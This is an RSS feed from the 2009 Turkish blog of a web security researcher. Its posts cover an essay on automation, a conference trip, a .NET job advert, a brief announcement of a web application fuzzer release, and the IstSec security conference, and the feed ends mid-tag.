<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2turkishfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
<channel>
  <title>En Son yazılar - Ferruh Mavituna</title>
  <description>Ferruh Mavituna - Me, Myself and My Alter Ego...</description>
  <copyright>Ferruh Mavituna</copyright>
  <link>http://ferruh.mavituna.com</link>
  <lastBuildDate>Cum, 10 Tem 2009 01:09:46 +0300</lastBuildDate>
  <image><link>http://ferruh.mavituna.com/</link><url>http://ferruh.mavituna.com/rss/rss.gif</url><title>Ferruh Mavituna</title></image>
  <creativeCommons:license>http://creativecommons.org/licenses/by/2.0/</creativeCommons:license><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/fmavituna" type="application/rss+xml" /><feedburner:emailServiceId>fmavituna</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffmavituna" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffmavituna" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/fmavituna" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffmavituna" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Ffmavituna" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffmavituna" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2Ffmavituna" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item>
  <title>Otomasyon, otomasyon, otomasyon...</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/380GEP0YlFM/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Per, 25 Haz 2009 10:44:41 +0300</pubDate>
  <description>&lt;p&gt;Sık söylediğim laflardan biri şudur : "If you can automate it, automate it". DRY (&lt;em&gt;kendini tekrarlamamak&lt;/em&gt;/&lt;em&gt;do not repeat yourself&lt;/em&gt;) sadece kod yazma sırasında değil bence hayatın her noktasında önemli bir şey. Özetle eğer bir şeyi otomatiğe bağlama şansın varsa hemen şimdi bunu yap. İlk internet sitemi yayınladığımda hayat çok farklıydı siteyi en ufak bir değişiklik için FTP ile her seferinde güncellemek ve tek kişilik CMS sistemi olmak rezil bir deneyimdi. İlk blog sistemimi yazdığımda da bazı şeyler fark ettim blog yazmaya başlamam ne kadar çetrefilli ise o kadar az blog yazıyordum, yani sistemin kendi limitleri veya gereksinimleri blog yazmamı engelliyordu.
&lt;/p&gt;&lt;p&gt;Bu sadece teknik veya vakit ile ilgili bir sorun değil bu psikolojik bir sorun. İnsan doğası sıkıcı işleri sevmiyor ve rutin işler insana sıkıcı geliyor. Bir geliştirici olarak kendinizi bir rutin içerisinde bulursanız gidişatta bir hata var demektir. Belki Ruby On Rails' ın çıkışı veya binlerce framework' ün tetikleyicisi de budur. 
&lt;/p&gt;&lt;p&gt;Yazılım geliştirirken gerekli otomasyonu yapıyor musunuz?
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Veritabanında değişiklik yaptıktan sonra ORM' de kodların belirmesi için kaç tuşa basman gerekli?
&lt;/li&gt;&lt;li&gt;Yazılıma yeni bir eklenti eklendiğinde Unit Test' ler otomatik olarak çalışıyor mu?
&lt;/li&gt;&lt;li&gt;Aynı kodu tekrar ve tekrar yazıyor musun?
&lt;/li&gt;&lt;li&gt;Koddaki değişiklikten yazılım paketinin internette yayınlanması arasında kaç tane manuel işlem var?
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Daha önceden &lt;a href="http://ferruh.mavituna.com/buyuk-resmi-grebilmek-oku/"&gt;büyük resmi görebilmek&lt;/a&gt; ile ilgili bir yazı yazmıştım, yazılım geliştirirken ve başka işler yaparken de büyük resmi görebilmek lazım. 
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Sisteminizde otomatiğe bağlayabileceğiniz şeylerin listesini çıkartın
&lt;/li&gt;&lt;li&gt;Listedeki her başlık için "&lt;strong&gt;Otomatiğe bağlamak ne kadar sürer?&lt;/strong&gt;", "&lt;strong&gt;Otomatik olmadığında hata oranı nedir?&lt;/strong&gt;", "&lt;strong&gt;Bu işlemin ne kadar sıklıkla yapılması gerekiyor?&lt;/strong&gt;" sorularını kendinize sorun ve cevaplarını düşünün. Otomasyona harcayacağınız vakit kendini 1 haftada amorti ediyor olabilir ya da hata çıkma oranından dolayı potansiyel bir hata da otomasyona harcayacağınız vakit kadar hatayı düzeltmeye ya da tespit etmeye vakit harcayacak olabilirsiniz. 
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Eğer programcı değilseniz hala hayatınızda otomatiğe bağlayabileceğiniz şeyler var:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Faturalarınızı, kiranızı vs. otomatik olarak ödeyin
&lt;/li&gt;&lt;li&gt;İnternette okuduğunuz yazılara siz gitmeyin RSS okuyucu kullanın onları size gelsin
&lt;/li&gt;&lt;li&gt;&lt;a href="http://ferruh.mavituna.com/psycho-folder-oku/"&gt;Bilgisayarınızdaki rutin işlemleri otomatiğe bağlayın&lt;/a&gt;
		&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Bunların hepsini otomatiğe bağladıktan sonra, para kazanmayı da otomatiğe bağlayınca Kuala Lumpur' da sahilde uzanıp otomatiğe bağladığınız her şeyi unutabilir ve belki de hayatın tadını çıkartabilirsiniz…&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WkyM8d_TotaO_1N4nDJR1X_hHf8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WkyM8d_TotaO_1N4nDJR1X_hHf8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WkyM8d_TotaO_1N4nDJR1X_hHf8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WkyM8d_TotaO_1N4nDJR1X_hHf8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=380GEP0YlFM:WoANNQAC_vo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=380GEP0YlFM:WoANNQAC_vo:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=380GEP0YlFM:WoANNQAC_vo:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=380GEP0YlFM:WoANNQAC_vo:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=380GEP0YlFM:WoANNQAC_vo:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=380GEP0YlFM:WoANNQAC_vo:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/380GEP0YlFM" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/otomasyon-otomasyon-otomasyon-oku/</guid>
  <comments>http://ferruh.mavituna.com/otomasyon-otomasyon-otomasyon-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/otomasyon-otomasyon-otomasyon-oku/</feedburner:origLink></item>
<item>
  <title>Abaküs</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/HPumqZ5cQT8/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 23 Haz 2009 11:52:59 +0300</pubDate>
  <description>&lt;p&gt;İstanbul' dan döndüm ancak yoğunluk, konferans vs. derken siteye bir şey de yazamadım. 
&lt;/p&gt;&lt;p&gt;Türkiye' ye gidişimin birçok nedeni vardı;
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://ferruh.mavituna.com/web-uygulamasi-guvenligi-egitimleri-oku/"&gt;Web Uygulaması Güvenliği Eğitimlerini vermek&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.istsec.org/"&gt;IstSec' de konuşmak&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.vimeo.com/5198228"&gt;Abaküs programına katılmak&lt;/a&gt;
		&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Genel olarak İstanbul ziyaretim keyifli ve verimli geçti. Program ZTV' de yayınlandı, &lt;a href="http://www.vimeo.com/5198228"&gt;şuradan izleyebilirsiniz&lt;/a&gt;. Abaküs programının yapımcısı ve sunucusu Ziyahan Albeniz' de tekrar teşekkür ederim, kendisi ile programdan önce ve sonra çok keyifli sohbetler ettik. Birkaç gün ara ile diğer konular hakkında da yazacağım, bu arada  blog' da çok yazmıyorsun diye sızlananlar &lt;a href="http://friendfeed.com/fmavituna"&gt;FriendFeed üzerinden de beni takip edebilir&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-1DSXved9JlkRvTbEvpxfXRWK0w/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-1DSXved9JlkRvTbEvpxfXRWK0w/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-1DSXved9JlkRvTbEvpxfXRWK0w/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-1DSXved9JlkRvTbEvpxfXRWK0w/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=HPumqZ5cQT8:mVKFkBv9HY0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=HPumqZ5cQT8:mVKFkBv9HY0:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=HPumqZ5cQT8:mVKFkBv9HY0:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=HPumqZ5cQT8:mVKFkBv9HY0:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=HPumqZ5cQT8:mVKFkBv9HY0:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=HPumqZ5cQT8:mVKFkBv9HY0:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/HPumqZ5cQT8" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/abakus-oku/</guid>
  <comments>http://ferruh.mavituna.com/abakus-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/abakus-oku/</feedburner:origLink></item>
<item>
  <title>İstanbul Semalarında...</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/FjpTDI40hvU/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 03 Haz 2009 17:35:04 +0300</pubDate>
  <description>&lt;p&gt;Yarın bir süreliğine &lt;a href="http://ferruh.mavituna.com/web-uygulamasi-guvenligi-egitimleri-oku/"&gt;Web Uygulaması Güvenliği Eğitimi&lt;/a&gt;, &lt;a href="http://ferruh.mavituna.com/stsec--istanbul-guvenlik-konferansi-oku/"&gt;IstSec Konferansı&lt;/a&gt; ve başka bir dizi iş için İstanbul' a gidiyorum, sıcak hava ve Marmara' nın tadını da çıkartaya çalışacağım. Bu sırada pek yazamayacağım ve acil olmadıkça, e-mail' larımı cevaplamayacağım. İlgililere duyurulur. &lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Q1lZjL9NLmBovjA7rq5CAhYl7Bc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Q1lZjL9NLmBovjA7rq5CAhYl7Bc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Q1lZjL9NLmBovjA7rq5CAhYl7Bc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Q1lZjL9NLmBovjA7rq5CAhYl7Bc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=FjpTDI40hvU:mnTQLfpO2Ag:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=FjpTDI40hvU:mnTQLfpO2Ag:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=FjpTDI40hvU:mnTQLfpO2Ag:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=FjpTDI40hvU:mnTQLfpO2Ag:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=FjpTDI40hvU:mnTQLfpO2Ag:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=FjpTDI40hvU:mnTQLfpO2Ag:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/FjpTDI40hvU" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/istanbul-semalarinda-oku/</guid>
  <comments>http://ferruh.mavituna.com/istanbul-semalarinda-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/istanbul-semalarinda-oku/</feedburner:origLink></item>
<item>
  <title>.NET Yazılım Geliştirme Uzmanı</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/WbP29CDp7xw/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 01 Haz 2009 12:22:30 +0300</pubDate>
  <description>&lt;p&gt;Benim ile birlikte çalışacak &lt;strong&gt;.NET Yazılım Geliştirme Uzmanı &lt;/strong&gt;aranıyor. Eğer benim tanıdığım birini tanıyorsanız referans olarak o kişinin ismini ve iletişim bilgilerini vermeyi unutmayın.
&lt;/p&gt;&lt;p&gt;İngiltere' de ki bir güvenlik startup' ının Türkiye ofisinde (&lt;em&gt;ve/veya home office' den&lt;/em&gt;) çalışacak ve yeni bir yazılımın geliştirilmesinde önemli rol oynayacak. NET yazılım uzmanı aranmaktadır. Firma bilgisi henüz startup aşamasında olduğundan gizlidir. İlgilendiğimiz adaylara ilk görüşmede bu detaylar verilecektir.&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Gereksinimler&lt;/strong&gt;&lt;br/&gt;• .NET ve OOP konusunda en az 2 yıl deneyim, &lt;br/&gt;• VB.NET kodu yazabilen, C# kodu okuyabilen&lt;br/&gt;• Takım Çalışmasında başarılı ve Uzaktan Çalışabilecek&lt;br/&gt;• Winforms, Unit Testing konusunda deneyimli &lt;br/&gt;• İyi seviyede teknik İngilizce (okuma)&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Tercih sebebi olacak ekstralar&lt;/strong&gt;&lt;br/&gt;• Web uygulaması güvenliği bilgisi&lt;br/&gt;• Web uygulaması geliştirme deneyimi&lt;br/&gt;• İyi derecede RegEx bilgisi&lt;br/&gt;• İyi derecede İngilizce konuşma – yazma – okuma&lt;br/&gt;• İyi derecede Visual Basic 8.0 +&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;İş Detayları&lt;/strong&gt;&lt;br/&gt;• Yeni bir yazılımın geliştirilmesinde kilit rol oynayacaksınız&lt;br/&gt;• Maaş deneyime göre belirlenecek ve Sterlin (pound) olarak ödenecektir&lt;br/&gt;• Esas olarak full-Time biri aranmasına rağmen part-time pozisyonda bulunmaktadır. Eğer part-time çalışmak istiyorsanız bunu başvurunuzda belirtiniz.&lt;br/&gt;&lt;br/&gt;CV lerinizi &lt;strong&gt;ferruh(at)mavituna.com&lt;/strong&gt; a gönderiniz. Konu başlığında "DEV-WG [ISIM SOYAD]" şeklinde yazınız. Başvurunuza en iyi kodlarınızdan biri olduğuna inandığınız bir VB.NET kodunu (öncelikli) veya C# kodunu eklemeniz gereklidir. &lt;br/&gt;Kod göndermek yerine. NET ile geliştirdiğiniz bir open source yazılım varsa ilgili adresi de gönderebilirsiniz. &lt;br/&gt;&lt;br/&gt;CV' ler ve ilgili tüm yazışmalar hiçbir 3. şahıs ile bilginiz dışında paylaşılmayacaktır. En geç 1 Ağustos' ta işe başlayabiliyor olmanız gereklidir.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gM0IMcB2K_GpQFrrsDWN7YWw5BI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gM0IMcB2K_GpQFrrsDWN7YWw5BI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gM0IMcB2K_GpQFrrsDWN7YWw5BI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gM0IMcB2K_GpQFrrsDWN7YWw5BI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=WbP29CDp7xw:cBG-TLTV1Oo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=WbP29CDp7xw:cBG-TLTV1Oo:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=WbP29CDp7xw:cBG-TLTV1Oo:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=WbP29CDp7xw:cBG-TLTV1Oo:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=WbP29CDp7xw:cBG-TLTV1Oo:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=WbP29CDp7xw:cBG-TLTV1Oo:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/WbP29CDp7xw" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/net-yazilim-gelistirme-uzmani-oku/</guid>
  <comments>http://ferruh.mavituna.com/net-yazilim-gelistirme-uzmani-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/net-yazilim-gelistirme-uzmani-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> FSF – Freakin’ Simple Fuzzer</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/nmSwA51vsA4/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 29 May 2009 18:14:06 +0300</pubDate>
  <description>&lt;p&gt;&lt;img style="float:left" src="http://ferruh.mavituna.com//blogs/upload/052909_1514_FSFFreakin1.png" alt=""/&gt;I've released &lt;a href="http://code.google.com/p/fm-fsf/"&gt;my simple web application fuzzer and data scraper&lt;/a&gt;, FSF. It works under &lt;a href="http://code.google.com/p/fm-fsf/downloads/list"&gt;OSX, Windows, Linux&lt;/a&gt;. Hosted on &lt;a href="http://code.google.com/p/fm-fsf/"&gt;Google Project&lt;/a&gt;, &lt;a href="http://code.google.com/p/fm-fsf/issues/list"&gt;report bugs&lt;/a&gt;, &lt;a href="http://code.google.com/p/fm-fsf/w/list"&gt;write plug-ins&lt;/a&gt;, have fun. &lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ZjYNRi9beyQfDsnFK2C1nOfaqqQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZjYNRi9beyQfDsnFK2C1nOfaqqQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ZjYNRi9beyQfDsnFK2C1nOfaqqQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZjYNRi9beyQfDsnFK2C1nOfaqqQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=nmSwA51vsA4:7GHTQM7jP5E:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=nmSwA51vsA4:7GHTQM7jP5E:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=nmSwA51vsA4:7GHTQM7jP5E:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=nmSwA51vsA4:7GHTQM7jP5E:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=nmSwA51vsA4:7GHTQM7jP5E:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=nmSwA51vsA4:7GHTQM7jP5E:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/nmSwA51vsA4" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/fsf--freakin-simple-fuzzer-oku/</guid>
  <comments>http://ferruh.mavituna.com/fsf--freakin-simple-fuzzer-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/fsf--freakin-simple-fuzzer-oku/</feedburner:origLink></item>
<item>
  <title>IstSec – İstanbul Güvenlik Konferansı</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/uX6XlHxKrvI/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 29 May 2009 14:53:23 +0300</pubDate>
  <description>&lt;p&gt;10 Haziran' da &lt;a href="http://www.istsec.org/index.html"&gt;IstSec – İstanbul Güvenlik Konferansında&lt;/a&gt; konuşuyor olacağım. Türkiye de güvenlik konusunda bu çaptaki organizasyon sayısı çok az, o yüzden sakın kaçırmayın. Konferans ücretsizdir ve &lt;strong&gt;10 Haziran&lt;/strong&gt; ( Çarşamba ) &lt;strong&gt;2009 da Levent' teki Microsoft Türkiye Ofisi' nde &lt;/strong&gt;gerçekleşecektir. Hemen &lt;a href="http://www.istsec.org/index-4.html"&gt;kayıt olun, yerinizi ayırtın&lt;/a&gt;.
&lt;/p&gt;&lt;p&gt;Açıkçası ben konferansın çok keyifli geçeceğini umuyorum. Bu arada bir CTF (&lt;em&gt;capture the flag&lt;/em&gt;) var, &lt;a href="http://www.istsec.org/index-1.html"&gt;ona da kaydolmayı&lt;/a&gt; unutmayın. Organizasyonu yapanlara da emeklerinden dolayı teşekkürleri borç biliriz. &lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WEMHW4H4DjonR9sAL0dwHOuEmGE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WEMHW4H4DjonR9sAL0dwHOuEmGE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WEMHW4H4DjonR9sAL0dwHOuEmGE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WEMHW4H4DjonR9sAL0dwHOuEmGE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=uX6XlHxKrvI:n7fxJul_45o:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=uX6XlHxKrvI:n7fxJul_45o:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=uX6XlHxKrvI:n7fxJul_45o:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=uX6XlHxKrvI:n7fxJul_45o:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=uX6XlHxKrvI:n7fxJul_45o:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=uX6XlHxKrvI:n7fxJul_45o:gIN9vFwOqvQ" 